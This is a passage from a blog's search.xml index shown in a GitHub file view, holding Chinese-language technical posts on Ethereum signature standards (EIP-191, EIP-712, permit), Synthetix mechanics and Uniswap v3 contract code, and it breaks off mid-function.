-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsearch.xml
More file actions
488 lines (225 loc) · 343 KB
/
Copy pathsearch.xml
File metadata and controls
488 lines (225 loc) · 343 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>EIP191、EIP712解析</title>
<link href="/2024/04/25/EIP191%E3%80%81EIP712%E8%A7%A3%E6%9E%90/"/>
<url>/2024/04/25/EIP191%E3%80%81EIP712%E8%A7%A3%E6%9E%90/</url>
<content type="html"><![CDATA[<p>由于EIP712是EIP191的一种,相当于EIP-712继承了EIP-191,所以就不过多解析EIP-191了。</p><h2 id="EIP-191"><a href="#EIP-191" class="headerlink" title="EIP-191"></a>EIP-191</h2><p>简单来说<a href="https://eips.ethereum.org/EIPS/eip-191">EIP-191</a>是为了定义智能合约中签名数据的格式。</p><p>EIP191的数据格式为:</p><pre class=" language-solidity"><code class="language-solidity">0x19 <1 byte version> <version specific data> <data to sign>.</code></pre><p>这其中的<1 byte version>用来确定EIP191的版本。</p><p>目前一共有三个版本号:0x00,0x01,0x45。其中0x01即为EIP712。</p><p>version 0x00数据格式为:</p><pre class=" language-solidity"><code class="language-solidity">0x19 <0x00> <intended validator address> <data to sign></code></pre><p>version 0x45数据格式为:</p><pre class=" language-solidity"><code class="language-solidity">0x19 <0x45 (E)> <thereum Signed Message:\n" + len(message)> <data to sign></code></pre><p>之所以使用0x19作为前缀:</p><ol><li><p>是为了和RLP编码区分。</p></li><li><p>是为了兼容交易。因为一开始并没有EIP191格式,人们常用的是最初由Geth实现的 personal_sign方案,数据格式为:</p></li></ol><pre class=" language-solidity"><code class="language-solidity">"\x19Ethereum Signed Message:\n" + length(message) + message</code></pre><p>而人们往往会对message做哈希运算,因此更常见的格式为:</p><pre class=" language-solidity"><code class="language-solidity">"\x19Ethereum Signed Message:\n32" + Keccak256(message)</code></pre><p>为了兼容这类交易,就以0x19为前缀,再把第一个字母“E”作为版本号。</p><h2 id="EIP712"><a href="#EIP712" class="headerlink" title="EIP712"></a>EIP712</h2><p>EIP712是EIP191的改良版,用于改良EIP191中存在的问题。</p><p>EIP191有几个问题:</p><ol><li>没有明确防止重访攻击的规定。</li><li>没有编码规范,造成一些外部组件,比如钱包,无法解析编码,导致用户无法了解签名内容。</li></ol><p>EIP712就是为了解决以上两个问题:</p><ol><li>通过DOMAIN_SEPARATOR设定,防止重放攻击。</li><li>规范对结构体编码的方式,使签名内容可视化,高签名时的安全性。</li></ol><h3 id="防止重放攻击"><a href="#防止重放攻击" class="headerlink" title="防止重放攻击"></a>防止重放攻击</h3><p>EIP-712结构如下</p><pre class=" language-solidity"><code class="language-solidity">encode(domainSeparator,message)=x19x01/domainSeparator/hashStruct(message)</code></pre><p>其中的x19x01与hashStruct(message)就不解释了,我们主要看domainSeparator字段,这才是防止重入的关键。</p><p>domainSeparator字段结构如下:</p><pre class=" language-solidity"><code class="language-solidity">domainSeparator = keccak256(typeHash / encodeData(S))</code></pre><p>typeHash为一个结构体的编码再进行keccak256,结构体如下:</p><pre class=" language-solidity"><code class="language-solidity">struct EIP712Domain{ string name, string version, uint256 chainId, address verifyingContract, bytes32 salt }</code></pre><p>encodeData是上述结构体中的参数的编码。</p><p>需要注意的是,结构体中的字段可以省略,但不可以颠倒顺序。</p><h3 id="签名内容可视化"><a href="#签名内容可视化" class="headerlink" title="签名内容可视化"></a>签名内容可视化</h3><p>EIP712通过规范对结构体编码的方式来使签名内容可视化。其主要体现在hashStruct(message)字段中。<br>hashStruct(message)字段结构如下:</p><pre><code>hashStruct(message) = keccak256(typeHash / encodeData(S))</code></pre><p>与domainSeparator字段类似,因此就不再赘述了。</p><p>可以看到messageHash中,把结构体名称,属性名称都编码进去了,因此钱包等第三方能够知道编码的结构体数据结构。</p>]]></content>
</entry>
<entry>
<title>以太坊签名解析</title>
<link href="/2024/04/25/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E7%AD%BE%E5%90%8D%E8%A7%A3%E6%9E%90/"/>
<url>/2024/04/25/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E7%AD%BE%E5%90%8D%E8%A7%A3%E6%9E%90/</url>
<content type="html"><![CDATA[<h1 id="以太坊签名解析"><a href="#以太坊签名解析" class="headerlink" title="以太坊签名解析"></a>以太坊签名解析</h1><h2 id="签名交易"><a href="#签名交易" class="headerlink" title="签名交易"></a>签名交易</h2><p>一个签名交易由(nonce, gasPrice, gasLimit, to, value, data, v, r, s)构成。其中的参数作用如下:</p><pre><code>nonce: 记录发起交易的账户已执行交易总数。gasPrice:该交易每单位gas的价格。gasLimit:该交易支付的最高gas上限。to:该交易被送往的地址(如果是部署合约交易,to为空,节点看到to是空的就知道这是部署合约交易)。value:交易发送的以太币总量。data:若该交易是以太币交易,则data为空;若是部署合约,则data为合约的bytecode;若是合约调用,则data为selector+函数参数;chainId:防止跨链重放攻击。</code></pre><p>在签名时会先对RLP(nonce, gasPrice, gasLimit, to, value, data, chainId, 0, 0)进行Keccak256,然后对其进行签名得到(v,r,s),最后会对(nonce, gasPrice, gasLimit, to, value, data, v, r, s)再次进行RPL编码,与keccak256,签名。</p><h2 id="签名消息"><a href="#签名消息" class="headerlink" title="签名消息"></a>签名消息</h2><p>签名消息即预签名(presigned message)。在了解什么是签名消息之前我们先要知道发给节点的只能是交易签名+相应参数,即上文中的(v, r, s)与(nonce, gasPrice, gasLimit, to, value, data)。通过观察其中的参数能发现在与合约进行交互时主要通过data来实现,而消息签名就是用来实现对合约的调用,即消息签名是data的一部分。</p><p>以ERC20-Permit举个例子</p><pre><code> function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual { if (block.timestamp > deadline) { revert ERC2612ExpiredSignature(deadline); } bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline)); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSA.recover(hash, v, r, s); if (signer != owner) { revert ERC2612InvalidSigner(signer, owner); } _approve(owner, spender, value); }</code></pre><p>当用户调用permit函数时会对“调用permit函数”行为这个进行签名,即签名交易,然后节点将会进行验证。而消息签名则是用户在调用permit函数时输入的参数中的(v,r,s)。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>交易签名是由调用者进行签名,由节点进行验证。而消息签名由他人进行签名,是交易签名中的data的一部分,由合约进行验证,允许调用者以消息签名的签名者的身份对合约进行操作。</p>]]></content>
</entry>
<entry>
<title>Layer2: Rollups</title>
<link href="/2024/04/19/Layer2-Rollups/"/>
<url>/2024/04/19/Layer2-Rollups/</url>
<content type="html"><![CDATA[]]></content>
</entry>
<entry>
<title>Synthetix分析</title>
<link href="/2024/04/01/Synthetix%E5%88%86%E6%9E%90/"/>
<url>/2024/04/01/Synthetix%E5%88%86%E6%9E%90/</url>
<content type="html"><![CDATA[<h1 id="Synthetix分析"><a href="#Synthetix分析" class="headerlink" title="Synthetix分析"></a>Synthetix分析</h1><p>本文只是对Synthetix原理的简单分析,并不会对具体的代码实现进行深入的探讨。</p><h2 id="基本原理"><a href="#基本原理" class="headerlink" title="基本原理"></a>基本原理</h2><p>用户可以通过超额抵押自己的原生代币SNX得到sUSD(1sUSD = 1美元),在哪之后用户就可以使用sUSD取购买Synths(比如sBTC,sETH)。<br>如果用作抵押品来生成合成资产的SNX的价值下降,质押者就必须补充更多的SNX才能赎回原来抵押的SNX。</p><p>(质押比为300%)<br>举个例子:<br>1.当前SNX价值1美元,ETH价值100美元,Bob拥有300SNX,Bob质押了所有的SNX得到了100sUSD。</p><p>2.此时SNX的价格下降到0.9美元,此时Bob必须补充30SNX才能赎回质押的SNX。</p><h2 id="质押收益"><a href="#质押收益" class="headerlink" title="质押收益"></a>质押收益</h2><p>1.基于通胀的奖励:</p><p>SNX有一个内置的通胀系统,从2019年3月到2023年8月,SNX的总供应量将从100,000,000增加到260,263,816。在2023年9月后,通胀为每年 2.5%。这些新增的 SNX 会按比例每周分配给 SNX 抵押率不低于目标阈值的抵押者。</p><p>2.交易的手续费:</p><p>每次有人交易这些基于SNX抵押发行的合成资产时,必须要支付一定的手续费(费率在0.3%至1%之间),手续费会被存到费用池中。抵押者每周可以按比例瓜分用池中的SNX。</p><h2 id="用户间的博弈"><a href="#用户间的博弈" class="headerlink" title="用户间的博弈"></a>用户间的博弈</h2><p>Synthetix采用了 “全网负债表” 的方式。即当总债务发生变化时,质押者的债务将按比例发生变化。官方用了两个例子来形象的说明 “全网负债表” 这个模式。</p><p>第一个例子:</p><p>Bob和Alice一开始都质押了价值5万美元的sUSD。此时全网负债额为10万美元,Bob和Alice各负担 50% 。</p><p>Bob用价值5万美元的sUSD购买了sBTC,Alice则继续持有sUSD。</p><p>当BTC的价格上涨了50%,Bob持有的资产价值为7.5万美元。此时全网的负债增加到了 12.5 万美元。</p><p>因为Bob和Alice各占全网负债的50%,也就是说两人各自负债6.25万美元。Bob所持有的sBTC不仅可以偿还他的负债,还能带来1.25万美元的收益。虽然Alice所持有的sUSD依然价值5万美元,但是她的负债相应增加了1.25万美元。</p><p>第二个例子:</p><p>Bob和Alice一开始都质押了价值5万美元的sUSD。此时全网负债额为10万美元,Bob和Alice各负担50%。</p><p>Bob用价值5万美元的sUSD购买了sBTC,Alice则购买了价值5万美元的iBTC来做空BTC。</p><p>当BTC的价格上涨了50%,Bob持有的资产价值7.5万美元,而Alice的iBTC跌至2.5万美元。此时全网的总负债额为10万美元。</p><p>因为Bob和Alice各占全网负债的50%,也就是说两人各自负债5万美元。Bob所持有的sBTC不仅可以偿还他的负债,还能带来2.5万美元的收益。Alice则要承担2.5万美元的损失。</p><p>这样看,Synthetix不只是激励人们质押,同时还要积极开启交易头寸。正所谓,这世上没有免费的午餐。</p><h2 id="清算"><a href="#清算" class="headerlink" title="清算"></a>清算</h2><p>当质押者的抵押比率低于清算比率时,他们将受到清算,这是一种对于维持协议稳定性至关重要的风险管理机制。Synthetix提供了2中清算方法。</p><p>强制平仓:</p><p>如果质押者在被标记后不采取任何行动,协议将强制清算。这种惩罚通常在 60% 左右,在协议内重新分配,以激励积极参与并惩罚疏忽。</p><p>自清算:</p><p>主动管理其股份的质押者可能会选择自我清算,从而产生较小的罚款,通常为被清算的 SNX 部分的 50% 左右。</p><p>这种方法为那些寻求退出头寸或故意减少风险敞口的人提供了较少的惩罚措施。</p>]]></content>
</entry>
<entry>
<title>Uniswap v3分析(三)</title>
<link href="/2024/03/29/Uniswap-v3%E5%88%86%E6%9E%90(%E4%B8%89)/"/>
<url>/2024/03/29/Uniswap-v3%E5%88%86%E6%9E%90(%E4%B8%89)/</url>
<content type="html"><![CDATA[<h1 id="Uniswap-v3分析-三"><a href="#Uniswap-v3分析-三" class="headerlink" title="Uniswap v3分析(三)"></a>Uniswap v3分析(三)</h1><p>Uniswap-v3-core中是实现V3的底层核心逻辑,而Uniswap-v3-periphery才是用户直接交互的地方。 </p><h2 id="NonfungiblePositionManager-sol"><a href="#NonfungiblePositionManager-sol" class="headerlink" title="NonfungiblePositionManager.sol"></a>NonfungiblePositionManager.sol</h2><p>此合约继承了ERC721,可以铸造NFT表示头寸f(由onwer,tickLower,tickUpper唯一确定),用于管理用户的头寸。主要包括以下几个方法:</p><p>mint:创建头寸</p><p>increaseLiquidity:添加流动性</p><p>decreaseLiquidity:减少流动性</p><p>burn:销毁头寸</p><p>collect:取回代币</p><h3 id="mint"><a href="#mint" class="headerlink" title="mint"></a>mint</h3><p>mint接收一个结构体参数,结构如下:</p><pre><code>token0:代币0token1:代币1fee:手续费等级recipient:头寸接收者tickLower:价格区间低点tickUpper:价格区间高点deadline:截止时间(防止重放攻击)amount0Desired:希望存入的代币0数量amount1Desired:希望存入的代币1数量amount0Min:最少存入的token0数量(防止被frontrun)amount1Min:最少存入的token1数量(防止被frontrun)</code></pre><p>函数里首先添加流动性,获得实际添加的流动性liquidity,消耗的amount0、amount1,以及交易对pool。</p><pre class=" language-solidity"><code class="language-solidity"> (liquidity, amount0, amount1, pool) = addLiquidity( AddLiquidityParams({ token0: params.token0, token1: params.token1, fee: params.fee, recipient: address(this), tickLower: params.tickLower, tickUpper: params.tickUpper, amount0Desired: params.amount0Desired, amount1Desired: params.amount1Desired, amount0Min: params.amount0Min, amount1Min: params.amount1Min }) );</code></pre><p>然后为receipient铸造NFT</p><pre class=" language-solidity"><code class="language-solidity">_mint(params.recipient, (tokenId = _nextId++));</code></pre><p>最后,保存头寸信息到_positions中。</p><pre class=" language-solidity"><code class="language-solidity"> // 计算positionKey bytes32 positionKey = PositionKey.compute(address(this), params.tickLower, params.tickUpper); // 通过positionKey获取每单位token0和token1的流动性的手续费数量 (, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, , ) = pool.positions(positionKey); // 生成PoolId uint80 poolId = cachePoolKey( address(pool), PoolAddress.PoolKey({token0: params.token0, token1: params.token1, fee: params.fee}) ); // 将用户的流动性头寸,存入positions _positions[tokenId] = Position({ nonce: 0, operator: address(0), poolId: poolId, tickLower: params.tickLower, tickUpper: params.tickUpper, liquidity: liquidity, feeGrowthInside0LastX128: feeGrowthInside0LastX128, feeGrowthInside1LastX128: feeGrowthInside1LastX128, tokensOwed0: 0, tokensOwed1: 0 });</code></pre><h3 id="increaseLiquidity"><a href="#increaseLiquidity" class="headerlink" title="increaseLiquidity"></a>increaseLiquidity</h3><p>为头寸添加流动性(只能修改头寸的代币数量,无法修改价格区间。)。接收如下参数:</p><pre><code>tokenId:NFT的tokenIddeadline:截止时间amount0Desired:希望添加的token0数量amount1Desired:希望添加的token1数量amount0Min:最少添加的token0数量amount1Min:最少添加的token1数量</code></pre><p>首先获取头寸信息和key</p><p>与mint相同,然后通过addLiquidity添加流动性</p><p>最后更新头寸信息</p><pre class=" language-solidity"><code class="language-solidity"> position.tokensOwed0 += uint128( FullMath.mulDiv( feeGrowthInside0LastX128 - position.feeGrowthInside0LastX128, position.liquidity, FixedPoint128.Q128 ) ); position.tokensOwed1 += uint128( FullMath.mulDiv( feeGrowthInside1LastX128 - position.feeGrowthInside1LastX128, position.liquidity, FixedPoint128.Q128 ) ); position.feeGrowthInside0LastX128 = feeGrowthInside0LastX128; position.feeGrowthInside1LastX128 = feeGrowthInside1LastX128; position.liquidity += liquidity;</code></pre><h3 id="decreaseLiquidity"><a href="#decreaseLiquidity" class="headerlink" title="decreaseLiquidity"></a>decreaseLiquidity</h3><p>移除部分或者所有流动性,移除后的代币将以待取回代币形式记录,需要再次调用collect方法取回代币。接收参数如下:</p><pre class=" language-solidity"><code class="language-solidity">tokenId:NFT的tokenIddeadline:截止时间liquidity:希望移除的流动性数量amount0Min:最少移除的token0数量amount1Min:最少移除的token1数量</code></pre><p>首先检查头寸流动性大于等于要除流动性。</p><pre class=" language-solidity"><code class="language-solidity"> uint128 positionLiquidity = position.liquidity; require(positionLiquidity >= params.liquidity);</code></pre><p>调用pool.burn方法销毁流动性,返回该流动性对应的token0和token1的代币数量amount0和amount1,然后确认其符合amount0Min和amount1Min的限制。</p><pre class=" language-solidity"><code class="language-solidity"> (amount0, amount1) = pool.burn(position.tickLower, position.tickUpper, params.liquidity); require(amount0 >= params.amount0Min && amount1 >= params.amount1Min, 'Price slippage check');</code></pre><p>最后更新头寸状态。</p><pre class=" language-solidity"><code class="language-solidity"> position.tokensOwed0 += uint128(amount0) + uint128( FullMath.mulDiv( feeGrowthInside0LastX128 - position.feeGrowthInside0LastX128, positionLiquidity, FixedPoint128.Q128 ) ); position.tokensOwed1 += uint128(amount1) + uint128( FullMath.mulDiv( feeGrowthInside1LastX128 - position.feeGrowthInside1LastX128, positionLiquidity, FixedPoint128.Q128 ) ); position.feeGrowthInside0LastX128 = feeGrowthInside0LastX128; position.feeGrowthInside1LastX128 = feeGrowthInside1LastX128; position.liquidity = positionLiquidity - params.liquidity;</code></pre><h3 id="burn"><a href="#burn" class="headerlink" title="burn"></a>burn</h3><p>销毁头寸,当该头寸的流动性与待取回代币数量都是0,才能调用。</p><pre class=" language-solidity"><code class="language-solidity">function burn(uint256 tokenId) external payable override isAuthorizedForToken(tokenId) { Position storage position = _positions[tokenId]; // 检查position的 liquidity tokensOwed0 tokensOwed1 必须为0 // 否则不能销毁position require(position.liquidity == 0 && position.tokensOwed0 == 0 && position.tokensOwed1 == 0, 'Not cleared'); // 删除position数据 delete _positions[tokenId]; // 销毁NFT _burn(tokenId);}</code></pre><h3 id="collect"><a href="#collect" class="headerlink" title="collect"></a>collect</h3><p>取出待领取代币(移除的流动性,积累的收益)<br>接收以下参数:</p><pre class=" language-solidity"><code class="language-solidity">tokenId:NFT的tokenIdrecipient:代币接收者amount0Max:最多领取的token0代币数量amount1Max:最多领取的token1代币数量</code></pre><p>首先获取取出代币数量。</p><pre class=" language-solidity"><code class="language-solidity"> require(params.amount0Max > 0 || params.amount1Max > 0); // 当入参recipient为0,设为本Manager合约地址 address recipient = params.recipient == address(0) ? address(this) : params.recipient; // 根据tokenId获取用户的position Position storage position = _positions[params.tokenId]; PoolAddress.PoolKey memory poolKey = _poolIdToPoolKey[position.poolId]; IUniswapV3Pool pool = IUniswapV3Pool(PoolAddress.computeAddress(factory, poolKey)); (uint128 tokensOwed0, uint128 tokensOwed1) = (position.tokensOwed0, position.tokensOwed1);</code></pre><p>然后判断该头寸是否含有流动性,如果有,则使用burn(0)来触发一次头寸状态的更新。</p><pre class=" language-solidity"><code class="language-solidity"> if (position.liquidity > 0) { pool.burn(position.tickLower, position.tickUpper, 0); (, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, , ) = pool.positions(PositionKey.compute(address(this), position.tickLower, position.tickUpper)); tokensOwed0 += uint128( FullMath.mulDiv( feeGrowthInside0LastX128 - position.feeGrowthInside0LastX128, position.liquidity, FixedPoint128.Q128 ) ); tokensOwed1 += uint128( FullMath.mulDiv( feeGrowthInside1LastX128 - position.feeGrowthInside1LastX128, position.liquidity, FixedPoint128.Q128 ) ); position.feeGrowthInside0LastX128 = feeGrowthInside0LastX128; position.feeGrowthInside1LastX128 = feeGrowthInside1LastX128; }</code></pre><p>最后取回代币</p><pre class=" language-solidity"><code class="language-solidity"> // 计算实际要取数量 (uint128 amount0Collect, uint128 amount1Collect) = ( params.amount0Max > tokensOwed0 ? tokensOwed0 : params.amount0Max, params.amount1Max > tokensOwed1 ? tokensOwed1 : params.amount1Max ); // 取出代币,得到实际取出的代币数量 (amount0, amount1) = pool.collect( recipient, position.tickLower, position.tickUpper, amount0Collect, amount1Collect ); the full amount expected // 更新头寸状态 (position.tokensOwed0, position.tokensOwed1) = (tokensOwed0 - amount0Collect, tokensOwed1 - amount1Collect);</code></pre><h2 id="SwapRouter-sol"><a href="#SwapRouter-sol" class="headerlink" title="SwapRouter.sol"></a>SwapRouter.sol</h2><p>SwapRouter是swap路由的管理。提供代币交易的接口,它是对 UniswapV3Pool 合约中交易相关接口的进一步封装,前端界面主要与这个合约来进行对接。主要包括以下函数:</p><pre><code>exactInputSingle()exactInput()exactInputInternal()exactOutputSingle()exactOutput()exactOutputInternal()uniswapV3SwapCallback()</code></pre><h3 id="exactInputSingle"><a href="#exactInputSingle" class="headerlink" title="exactInputSingle"></a>exactInputSingle</h3><p>单步交换,指定输入代币数量,尽可能多地获得输出代币。接收如下参数:</p><pre class=" language-solidity"><code class="language-solidity">tokenIn:输入代币地址tokenOut:输出代币地址fee:手续费等级recipient:输出代币接收者deadline:截止时间,超过该时间请求无效amountIn:输入的代币数量amountOutMinimum:最少收到的输出代币数量sqrtPriceLimitX96:限制价格</code></pre><p>函数逻辑十分简单,使用exactInputInternal进行交换,然后检查amountOut是否大于amountOutMinimum。</p><pre class=" language-solidity"><code class="language-solidity"> function exactInputSingle(ExactInputSingleParams calldata params) external payable override checkDeadline(params.deadline) returns (uint256 amountOut) { amountOut = exactInputInternal( params.amountIn, params.recipient, params.sqrtPriceLimitX96, SwapCallbackData({path: abi.encodePacked(params.tokenIn, params.fee, params.tokenOut), payer: msg.sender}) ); require(amountOut >= params.amountOutMinimum, 'Too little received'); }</code></pre><h3 id="exactInput"><a href="#exactInput" class="headerlink" title="exactInput"></a>exactInput</h3><p>多步交换,指定输入代币数量,尽可能多地获得输出代币。与单步交易tokenA -> tokenB不同的是,多步交换可以设置Basetoken,即 tokenA -> Basetoken -> tokenB。可以让用户选择最优的交易路径(注:要交多次手续费)。</p><p>接收参数如下:</p><pre><code>path:交换路径recipient:输出代币收款人deadline:交易截止时间amountIn:输入代币数量amountOutMinimum:最少输出代币数量</code></pre><p>逻辑如下:</p><pre class=" language-solidity"><code class="language-solidity"> function exactInput(ExactInputParams memory params) external payable override checkDeadline(params.deadline) returns (uint256 amountOut) { address payer = msg.sender; while (true) { // 判断路径中交易的token地址是否大于等于2 bool hasMultiplePools = params.path.hasMultiplePools(); // 进行swap params.amountIn = exactInputInternal( params.amountIn, hasMultiplePools ? address(this) : params.recipient, // 中间代币由此合约托管 0, // 传入价格 0 代表以市价交易 SwapCallbackData({ path: params.path.getFirstPool(), payer: payer }) ); // 判断是否需要继续交易 if (hasMultiplePools) { payer = address(this); // 将当前交换路径path的前20+3个字节删除,即pop最前面的token+fee params.path = params.path.skipToken(); } else { amountOut = params.amountIn; break; } } // 检查交易输出 require(amountOut >= params.amountOutMinimum, 'Too little received'); }</code></pre><h3 id="exactOutputInternal"><a href="#exactOutputInternal" class="headerlink" title="exactOutputInternal"></a>exactOutputInternal</h3><p>内部方法,指定输出代币数量,尽可能少地提供输入代币。</p><p>逻辑如下:</p><pre class=" language-solidity"><code class="language-solidity">function exactInputInternal( uint256 amountIn, address recipient, uint160 sqrtPriceLimitX96, SwapCallbackData memory data ) private returns (uint256 amountIn) { // 如果接受者地址为0,就转为本合约地址 if (recipient == address(0)) recipient = address(this); // 从path中解析出Pool的关键信息 (address tokenOut, address tokenIn, uint24 fee) = data.path.decodeFirstPool(); // 判断交易顺序 // 之所以要判断,是因为Pool中price始终以 y/x 表示 (tokenx < tokeny) bool zeroForOne = tokenIn < tokenOut; // 调用Pool.swap进行交易 //返回完成本次交换所需的token0数量amount0Delta和实际输出的token1数量amount1Delta (int256 amount0, int256 amount1) = getPool(tokenIn, tokenOut, fee).swap( recipient, zeroForOne, amountIn.toInt256(), sqrtPriceLimitX96 == 0 ? (zeroForOne ? TickMath.MIN_SQRT_RATIO + 1 : TickMath.MAX_SQRT_RATIO - 1) : sqrtPriceLimitX96, abi.encode(data) ); return uint256(-(zeroForOne ? amount1 : amount0)); }</code></pre><h3 id="uniswapV3SwapCallback"><a href="#uniswapV3SwapCallback" class="headerlink" title="uniswapV3SwapCallback"></a>uniswapV3SwapCallback</h3><p>swap的回调方法,实现IUniswapV3SwapCallback.uniswapV3SwapCallback接口。</p><p>接收参数如下:</p><pre><code>amount0Delta:本次交换产生的amount0(对应代币为token0);对于合约而言,如果大于0,则表示应输入代币;如果小于0,则表示应收到代币amount1Delta:本次交换产生的amount1(对应代币为token1);对于合约而言,如果大于0,则表示应输入代币;如果小于0,则表示应收到代币_data:回调参数,这里为SwapCallbackData类型</code></pre><p>逻辑如下:</p><pre class=" language-solidity"><code class="language-solidity"> function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata _data ) external override { require(amount0Delta > 0 || amount1Delta > 0); SwapCallbackData memory data = abi.decode(_data, (SwapCallbackData)); // 解析回调参数_data (address tokenIn, address tokenOut, uint24 fee) = data.path.decodeFirstPool(); CallbackValidation.verifyCallback(factory, tokenIn, tokenOut, fee); // 根据不同输入,判断交易场景 (bool isExactInput, uint256 amountToPay) = amount0Delta > 0 ? (tokenIn < tokenOut, uint256(amount0Delta)) : (tokenOut < tokenIn, uint256(amount1Delta)); //输入代币的场景 //则直接向pool合约转amountToPay //指定输出代币的场景 //如果是多步交换,则移除前23的字符,将需要的输入作为下一步的输出,进入下一步交换 //如果是单步交换(或最后一步),则tokenIn与tokenOut交换,并向pool合约转账 if (isExactInput) { pay(tokenIn, data.payer, msg.sender, amountToPay); } else { if (data.path.hasMultiplePools()) { data.path = data.path.skipToken(); exactOutputInternal(amountToPay, msg.sender, 0, data); } else { amountInCached = amountToPay; tokenIn = tokenOut; pay(tokenIn, data.payer, msg.sender, amountToPay); } } }</code></pre>]]></content>
</entry>
<entry>
<title>Uniswap v3分析(二)</title>
<link href="/2024/03/28/Uniswap-V3%E5%88%86%E6%9E%90(%E4%BA%8C)/"/>
<url>/2024/03/28/Uniswap-V3%E5%88%86%E6%9E%90(%E4%BA%8C)/</url>
<content type="html"><![CDATA[<h1 id="Uniswap-v3分析-二"><a href="#Uniswap-v3分析-二" class="headerlink" title="Uniswap v3分析(二)"></a>Uniswap v3分析(二)</h1><p>本文将分析Uniswap v3的核心模块<a href="https://github.com/Uniswap/v3-core">Uniswap-v3-core</a>。</p><h2 id="UniswapV3Factory-sol"><a href="#UniswapV3Factory-sol" class="headerlink" title="UniswapV3Factory.sol"></a>UniswapV3Factory.sol</h2><p>工厂合约主要包含二个方法:</p><pre><code>createPool方法:用于创建交易池enableFeeAmount方法:用于设置手续费等级</code></pre><h3 id="createPool"><a href="#createPool" class="headerlink" title="createPool"></a>createPool</h3><pre class=" language-solidity"><code class="language-solidity"> function createPool( address tokenA, address tokenB, uint24 fee ) external override noDelegateCall returns (address pool) { require(tokenA != tokenB); (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0)); int24 tickSpacing = feeAmountTickSpacing[fee]; require(tickSpacing != 0); require(getPool[token0][token1][fee] == address(0)); pool = deploy(address(this), token0, token1, fee, tickSpacing); getPool[token0][token1][fee] = pool; // populate mapping in the reverse direction, deliberate choice to avoid the cost of comparing addresses getPool[token1][token0][fee] = pool; emit PoolCreated(token0, token1, fee, tickSpacing, pool); }</code></pre><p>由于V3支持不同手续费等级,所以不同于V2只使用TokenA,TokenB来唯一确定一个交易池,V3还需要用到fee。</p><p>因此在创建池的过程中多了一个检查fee是否合规的操作。</p><h3 id="enableFeeAmount"><a href="#enableFeeAmount" class="headerlink" title="enableFeeAmount"></a>enableFeeAmount</h3><p>Uniswap v3默认支持三种手续费等级:0.05%、0.30%和1.00%。若要新增,就要用到这个方法。</p><pre class=" language-solidity"><code class="language-solidity"> function enableFeeAmount(uint24 fee, int24 tickSpacing) public override { require(msg.sender == owner); require(fee < 1000000); require(tickSpacing > 0 && tickSpacing < 16384); require(feeAmountTickSpacing[fee] == 0); feeAmountTickSpacing[fee] = tickSpacing; emit FeeAmountEnabled(fee, tickSpacing); }</code></pre><p>逻辑很简单,接收两个参数fee(手续费),tickSpacing手续费等级。先判断调用者是否为合约的owner,再判断fee和tickSpacing是否合法,<br>再判断是否已经被添加,最后改变状态。</p><h2 id="UniswapV3Pool-sol"><a href="#UniswapV3Pool-sol" class="headerlink" title="UniswapV3Pool.sol"></a>UniswapV3Pool.sol</h2><p>交易池合约主要包含以下方法:<br> initialize:初始化交易<br> mint:添加流动性<br> burn:移除流动性<br> swap:交换代币<br> flash:闪电贷<br> collect:取回代币<br> setFeeProtocol:修改某个交易对的协议手续费比例<br> collectProtocol:收集某个交易对的协议手续费</p><h3 id="initialize"><a href="#initialize" class="headerlink" title="initialize"></a>initialize</h3><p>创建完交易对后,需要调用initialize方法初始化slot0,才能正常使用。</p><pre class=" language-solidity"><code class="language-solidity">function initialize(uint160 sqrtPriceX96) external override { require(slot0.sqrtPriceX96 == 0, 'AI'); int24 tick = TickMath.getTickAtSqrtRatio(sqrtPriceX96); (uint16 cardinality, uint16 cardinalityNext) = observations.initialize(_blockTimestamp()); slot0 = Slot0({ sqrtPriceX96: sqrtPriceX96, tick: tick, observationIndex: 0, observationCardinality: cardinality, observationCardinalityNext: cardinalityNext, feeProtocol: 0, unlocked: true }); emit 